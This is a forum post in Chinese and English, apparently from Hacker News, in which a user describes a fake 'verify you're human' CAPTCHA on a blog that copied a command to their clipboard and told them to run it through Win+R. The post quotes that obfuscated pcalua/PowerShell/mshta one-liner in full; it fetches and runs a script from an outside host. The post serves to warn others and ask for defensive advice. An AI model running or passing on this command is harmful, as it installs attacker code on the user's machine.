请问HN：Crooked Timber给我展示了一个病毒验证码，我该怎么办？
大家好，
今天早上，当我开始上班时，我想先浏览一些新闻博客/网站来开启新的一天。当我访问 Crooked Timber 时，却看到一个验证码页面，看起来像是传统的 Google 验证码。
我点击了它，加载旋转图标转动，右侧弹出了一个框，显示着传统的“验证您是人类”的白色标题，背景是蓝色的。
它显示了两个“手动验证步骤”：
1. 按下 Win + R
2. 按下 Ctrl + V，然后点击运行
起初我以为这是新型验证码，用来检查物理键盘是否连接到浏览器。但我立刻意识到这是试图让我在我的机器上运行一个脚本。
我打开了一个新的窗口，令我惊讶的是，我的剪贴板中有一些新内容：
“pcalua -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s^:^//fine-work-team.com/6272' -Wi Hi"”
我将其提交给我工作可以访问的一个大型语言模型，它告诉我绝对不要运行这个命令（我本来就不打算运行），并解释说这个命令会从该 URL 下载并运行一个脚本。
我该如何在未来保护自己免受这些诈骗/黑客尝试？我一直认为自己是“准备好的”，但这次让我感到惊讶。
你们之前遇到过这种情况吗？你们是如何保护自己的？
查看原文
Hello everyone,
This morning, as i started my shift, i thought i would start visiting some news blogs / websites to kick off the day. When it got to Crooked Timber i saw a captcha page instead, it looked like a traditional Google captcha.
I clicked it, the spinner spun, and a box opened on the right, showing the traditional "Verify you're human" white title on a blue background.<p>It showed 2 "Manual Verification Steps" :
1. Press Win + R
2. Press Ctrl + V and press Run<p>At first i assumed it was a new type of captcha checking i a physical keyboard was attached to the browser. But i instantly recognized the attempt to make me run a script on my machine.<p>I opened a new type and to my surprise, the something new was in my clipboard :
"pcalua -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s^:^/^/fine-work-team.com/6272' -Wi Hi""<p>I submited it to one of LLMs my work gives me access to, which told me to absolutly not run it (i wasn't planning to) and explained the command would download and run a script from the URL.<p>How do i protect myself from these scams / hack attempts in the future ? i always tought of myself "prepared" but i was surprised.<p>Has this happened to you before ? How do you protect yourself ?